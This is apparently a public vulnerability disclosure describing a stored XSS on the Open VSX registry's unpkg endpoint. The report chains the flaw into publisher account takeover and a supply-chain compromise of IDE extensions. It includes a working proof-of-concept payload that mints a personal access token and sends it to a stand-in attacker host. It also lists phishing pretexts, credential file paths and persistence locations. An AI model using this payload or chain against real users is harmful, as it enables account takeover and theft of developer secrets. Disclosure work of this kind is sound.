Stored XSS on Open VSX Registry Leading to Publisher Account Takeover
*** Please Note I sent this issue to security@open-vsx.org on the 21.5 with no response to date
## Summary
An attacker with no existing access can register a free publisher account on open-vsx.org, upload a VSIX extension containing a crafted HTML file, and obtain a URL on the `open-vsx.org` origin that executes arbitrary JavaScript when any authenticated user visits it. Because the Extension Host serving endpoint (`/vscode/unpkg/`) returns HTML files with `Content-Type: text/html` and no `Content-Security-Policy` or `Content-Disposition: attachment` header, the browser renders the file inline in the full openvsx.org origin context - giving the payload unrestricted access to session cookies, localStorage, and the same-origin REST API. A single socially engineered click from a high-privilege publisher is sufficient: the payload silently exfiltrates the victim's session token, generates a persistent Personal Access Token (PAT), and then uses those credentials to publish a malicious new version of the victim's most-installed extension. Every user of that extension - potentially hundreds of thousands of VS Code, VSCodium, Cursor, and Windsurf users - receives the malicious update on their next IDE update check; the attack completes when the user clicks "Reload Window" (or restarts the IDE), making this a compelling one-click supply chain compromise. The chain is exploitable end-to-end with zero upfront privileges, one social engineering click, and no known mitigations currently in place.
## Severity
### Chain Severity
| Attribute | Value |
|-----------|-------|
| **Overall Rating** | **High** |
| **CVSS 3.1 Vector** | `AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` |
| **CVSS 3.1 Score** | **8.8** |
**Vector breakdown:**
- `AV:N` - Fully network-exploitable; no physical access required
- `AC:L` - Low complexity; no race conditions or specialized configuration needed
- `PR:L` - Low privileges required; attacker registers a free publisher account (CVSS measures privilege level, not the cost of obtaining it)
- `UI:R` - One user interaction (click) from the target publisher
- `S:C` - Scope change: compromise of a web session escalates to supply chain compromise of end-user developer machines
- `C:H` - High confidentiality impact: session tokens, PATs, cloud credentials, SSH keys, CI/CD secrets all reachable
- `I:H` - High integrity impact: attacker publishes arbitrary code to an existing trusted extension's install base
- `A:N` - Availability is not the primary objective of this attack path
## Component 1 - Open Publisher Registration (No Verification)
### Description
Publisher registration on open-vsx.org requires only a GitHub OAuth login. Once authenticated, a user can immediately create a namespace and publish extensions. There is no:
- Email verification beyond what GitHub provides
- Domain ownership proof
- Organizational affiliation check
- Waiting period or manual review queue
- Rate limiting on namespace creation
### Significance to the Chain
This component is the zero-cost entry point for the attack. Without it, an attacker would need to compromise an existing account before the XSS vector becomes useful. With it, the attacker controls a valid publisher before any victim interaction occurs, and the XSS payload can be hosted on the `open-vsx.org` origin without ever needing to exploit an upload vulnerability on an existing account.
## Component 2 - Stored XSS via `/vscode/unpkg/` HTML Serving
### Description
The `/vscode/unpkg/{namespace}/{extension}/{version}/{path}` endpoint serves files extracted from a published VSIX archive. VSIX files are ZIP archives; any file at any path within the archive is accessible at this endpoint after publishing.
When the requested file has a `.html` extension, the server responds with:
```
HTTP/1.1 200 OK
Content-Type: text/html
```
Absent from the response:
- `Content-Disposition: attachment` - which would force download rather than inline render
- `Content-Security-Policy` - which would restrict script execution
- `X-Content-Type-Options: nosniff` - which, while insufficient alone for HTML, is also absent
Because the response is served from the `open-vsx.org` origin with `Content-Type: text/html` and rendered inline, any JavaScript in the file executes with full access to the `open-vsx.org` browser context:
- `document.cookie` - all cookies scoped to `open-vsx.org`, including session tokens
- `window.localStorage` / `window.sessionStorage` - any tokens or state stored by the application
- `fetch()` / `XMLHttpRequest` - same-origin requests that carry the victim's session credentials automatically, bypassing any CORS restriction
- `window.location`, DOM manipulation - full page control
This constitutes stored XSS.
## Component 3 - Session Hijack Leading to PAT Generation
### Description
The openvsx.org REST API authenticates requests using the session cookie set at login. Once an attacker possesses a valid session cookie, they have equivalent access to every API action the victim can perform in the browser.
Key API endpoints available with a stolen session:
| Endpoint | Method | Action |
|----------|--------|--------|
| `/user` | GET | Retrieve victim identity (login name, display name) |
| `/user/namespaces` | GET | List all namespaces the victim owns or has member access to |
| `/api/{namespace}/{extension}/publish` | POST | Publish a new extension version |
| `/user/token/create` | POST | Generate a new Personal Access Token |
The PAT generation step is particularly significant: PATs are long-lived credentials that survive session expiry, cookie rotation, and password changes (unless explicitly revoked). By generating a PAT during the XSS execution window, the attacker converts a time-limited session into persistent access.
### PAT Generation via XSS Payload
Because the request is same-origin (executed from `open-vsx.org`), the victim's session cookie is automatically included with no CORS preflight required. The returned value is a plaintext PAT that can be used in API requests from any origin.
## Component 4 - Extension Auto-Update Delivery
### Description
VS Code and compatible IDEs (VSCodium, Cursor, Windsurf, and others using the Open VSX API) periodically check for updates to installed extensions. When the open-vsx.org API returns a newer version for an installed extension, the IDE downloads and installs it automatically - or with a single "Reload" prompt, depending on user settings.
There is no code-signing requirement for extensions distributed through Open VSX. Any VSIX with a valid manifest will be accepted and installed. A new version published under a namespace the victim owns is indistinguishable from a legitimate update to users.
### Reach Calculation
If the attacker targets a publisher with a language extension at 100,000 installs on Open VSX, and assuming a typical 24-hour update cycle with 40% of installs active on any given day, approximately 40,000 developer machines receive the payload within 24 hours of the malicious version being published - all without any user interaction beyond what they have already consented to (installing the extension and enabling auto-update).
## Full Attack Walkthrough
### Step 1: Attacker Registers Publisher Account
The attacker navigates to `https://open-vsx.org`, authenticates via GitHub OAuth using a disposable or purpose-created account, and creates a namespace. This takes approximately two minutes and requires no identity verification.
### Step 2: Attacker Constructs Malicious VSIX
A VSIX is a ZIP archive with a specific structure. The attacker creates the following minimal valid VSIX:
```
attacker-recon-tool-1.0.0.vsix
├── [Content_Types].xml
├── extension.vsixmanifest
└── extension/
├── package.json
└── xss.html ← XSS payload
```
The extension presents itself as a benign utility tool. `package.json` contains valid metadata. The XSS payload is embedded in `extension/xss.html`.
### Step 3: Attacker Publishes Extension
After publishing, the payload is accessible at:
```
https://open-vsx.org/vscode/unpkg/attacker-co/recon-tool/1.0.0/extension/xss.html
```
### Step 4: Attacker Identifies and Contacts Target
The attacker identifies a publisher with a high-install extension - for example, a developer who maintains a widely used language support or linting extension with 100,000+ installs. Contact is made via:
- A GitHub issue on the extension's repository: "I found a rendering bug - can you check the attached diff preview?"
- A direct message on a developer community platform
- An email referencing the extension by name with a plausible technical pretext
The message contains the XSS URL presented as a link to a "compatibility report," "diff preview," or similar technical artifact hosted on the Open VSX infrastructure.
### Step 5: Victim Clicks Link - Payload Executes
The victim, who is currently authenticated to openvsx.org in their browser, clicks the link. Their browser fetches:
```
GET /vscode/unpkg/attacker-co/recon-tool/1.0.0/extension/xss.html HTTP/1.1
Host: open-vsx.org
Cookie: SESSION=<victim-session-token>
```
The server responds with the HTML file and `Content-Type: text/html`. The browser renders the page and executes the embedded JavaScript in the `open-vsx.org` origin context.
### Step 6: Payload Generates and Exfiltrates PAT
### Step 7: Attacker Publishes Malicious Extension Version
### Step 8: Malicious Update Reaches End Users
## Proof of Concept
### VSIX Structure
```
recon-tool-1.0.0.vsix (ZIP archive)
├── extension.vsixmanifest
└── extension/
├── package.json
├── LICENSE
└── xss.html
```
**`extension.vsixmanifest`**
```xml
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0"
xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
<Metadata>
<Identity
Language="en-US"
Id="recon-tool"
Version="1.0.0"
Publisher="attacker-co"/>
<DisplayName>Recon Tool</DisplayName>
<Description>Utility extension.</Description>
<Tags>utility</Tags>
<Categories>Other</Categories>
<Properties>
<Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.0.0"/>
</Properties>
</Metadata>
<Installation>
<InstallationTarget Id="Microsoft.VisualStudio.Code"/>
</Installation>
<Dependencies/>
<Assets>
<Asset Type="Microsoft.VisualStudio.Code.Manifest"
Path="extension/package.json" Addressable="true"/>
<Asset Type="Microsoft.VisualStudio.Services.Content.License"
Path="extension/LICENSE" Addressable="true"/>
</Assets>
</PackageManifest>
```
**`extension/package.json`**
```json
{
"name": "recon-tool",
"displayName": "Recon Tool",
"description": "Utility extension.",
"version": "1.0.0",
"publisher": "attacker-co",
"engines": {"vscode": "^1.0.0"},
"categories": ["Other"],
"license": "MIT"
}
```
### XSS Payload - `extension/xss.html`
```html
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<p>Loading compatibility data...</p>
<script>
(async () => {
const C2 = 'https://attacker.example.com/collect';
// 1. Confirm victim identity via same-origin API call
// (browser attaches HttpOnly session cookie automatically)
const user = await fetch('/user', {credentials: 'include'}).then(r => r.json());
await fetch(`${C2}?user=${encodeURIComponent(user.loginName)}`, {mode: 'no-cors'});
// 2. Fetch CSRF token from the dedicated endpoint
// open-vsx.org uses a /user/csrf endpoint rather than a cookie or meta tag
const csrf = await fetch('/user/csrf', {credentials: 'include'}).then(r => r.json());
// csrf = {"value": "<token>", "header": "X-CSRF-TOKEN"}
// 3. Generate a persistent PAT
// Description is a query param; body is empty; CSRF goes in the response-specified header
const tok = await fetch(`/user/token/create?description=ci-integration-2026`, {
method: 'POST',
credentials: 'include',
headers: { [csrf.header]: csrf.value }
}).then(r => r.json());
if (tok.value) {
// tok.value = "ovsxat_<uuid>" - full PAT, valid immediately
await fetch(`${C2}?pat=${encodeURIComponent(tok.value)}`, {mode: 'no-cors'});
}
// 4. Enumerate victim's namespaces for targeting the supply chain step
try {
const ns = await fetch('/user/namespaces', {credentials: 'include'}).then(r => r.json());
await fetch(`${C2}?ns=${encodeURIComponent(JSON.stringify(ns))}`, {mode: 'no-cors'});
} catch (e) { /* silent */ }
})();
</script>
</body>
</html>
```
### PAT-Based Extension Publishing
With the exfiltrated PAT, the attacker publishes the malicious version from their own machine:
## Second Proof of Concept
As the previous PoC is heavily intrusive, the following payload is what I tested with (making sure all of the sensitive data never leaves a user's browser). As soon as testing was finished, the extension was removed.
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>openvsx unpkg XSS PoC</title>
<style>
body { font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 2em; }
h1 { color: #f14c4c; }
pre { background: #2d2d2d; padding: 1em; border-left: 3px solid #f14c4c; white-space: pre-wrap; word-break: break-all; }
.warn{ color: #dcdcaa; }
</style>
</head>
<body>
<h1>openvsx /vscode/unpkg/ — Stored XSS Proof of Concept</h1>
<p class="warn">Security research only. No data leaves this browser.</p>
<pre id="out">Running...</pre>
<script>
const log = [];
function record(label, value) {
const line = `[openvsx-unpkg-test] ${label}: ${value}`;
console.log(line);
log.push(line);
document.getElementById('out').textContent = log.join('\n');
}
record('Script executed on origin', window.location.origin);
// Step 1: confirm authenticated identity
fetch('/user', { credentials: 'include' })
.then(r => r.json())
.then(user => {
record('Authenticated as', user.loginName);
// Step 2: fetch CSRF token from dedicated endpoint
// /user/csrf returns {"value":"<token>","header":"X-CSRF-TOKEN"}
return fetch('/user/csrf', { credentials: 'include' })
.then(r => r.json());
})
.then(csrf => {
record('CSRF token obtained from /user/csrf', csrf.value.slice(0, 16) + '...');
// Step 3: mint a persistent PAT
// description is a query param; body is empty; CSRF goes in the header
return fetch('/user/token/create?description=xss-poc', {
method: 'POST',
credentials: 'include',
headers: { [csrf.header]: csrf.value },
});
})
.then(r => r.json())
.then(tok => {
record('PAT value (console only — revoke immediately after test)', tok.value);
record('Delete URL', tok.deleteTokenUrl);
record('Full chain confirmed', 'XSS → /user/csrf → PAT minted on open-vsx.org origin');
})
.catch(err => record('Error', err));
</script>
</body>
</html>
```
## Impact
### Immediate: Publisher Account Takeover
A single click from any authenticated openvsx.org publisher results in full, persistent account compromise. The attacker gains the ability to publish, modify, or transfer extensions under the victim's namespace. The stolen PAT survives cookie expiry, session invalidation, and browser closure.
### Supply Chain: Developer Machine Compromise
Malicious code published under a legitimate, trusted namespace reaches every user of that extension who has auto-update enabled. For a language extension with 100,000 installs, this represents tens of thousands of developer machines receiving attacker-controlled code within 24 hours.
The Extension Host context provides the attacker with:
- **Credential files:** `~/.aws/credentials`, `~/.azure/credentials`, `~/.config/gcloud/`, `~/.kube/config`, `~/.npmrc`, `~/.pypirc`, `~/.docker/config.json`
- **SSH private keys:** `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` and related keys
- **Shell environment:** `$AWS_ACCESS_KEY_ID`, `$GITHUB_TOKEN`, `$NPM_TOKEN`, `$KUBECONFIG` - all variables active in the user's shell session
- **CI/CD secrets:** secrets injected by the IDE's launch environment, `.env` files open in the workspace, GitHub Actions tokens if the IDE was launched from a CI runner
- **Code and intellectual property:** access to all files in open workspaces, git history, and private repositories mounted in the environment
### Persistence
Two persistence mechanisms activate automatically:
1. **PAT persistence:** The generated PAT remains valid until explicitly revoked by the victim in the openvsx.org UI. Most users will not notice the new token in their account settings.
2. **Extension version persistence:** The malicious extension version remains published and actively distributed until the legitimate publisher notices, logs in, and manually deletes or supersedes it. During the incident response window - which may be hours to days - additional users continue to receive the malicious update.
The malicious extension can additionally establish OS-level persistence:
- **macOS:** write to `~/Library/LaunchAgents/`
- **Linux:** write to `~/.config/systemd/user/` or append to `~/.bashrc` / `~/.zshrc`
- **Windows:** write to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
### Scope of Affected Users
Any user of VS Code, VSCodium, Cursor, Windsurf, or any IDE that uses the Open VSX API for extension updates and has the compromised extension installed is affected. No action is required from the end user beyond what they have already done.
### Zero Upfront Privilege Requirement
The complete chain requires:
- A free GitHub account (to register as a publisher): free, takes minutes
- Hosting for a collection endpoint: free (attacker-controlled server or a request-logging service)
- One successful social engineering interaction: low cost when targeting known extension publishers
No vulnerabilities in the victim's local machine, browser, or other systems are required.
issue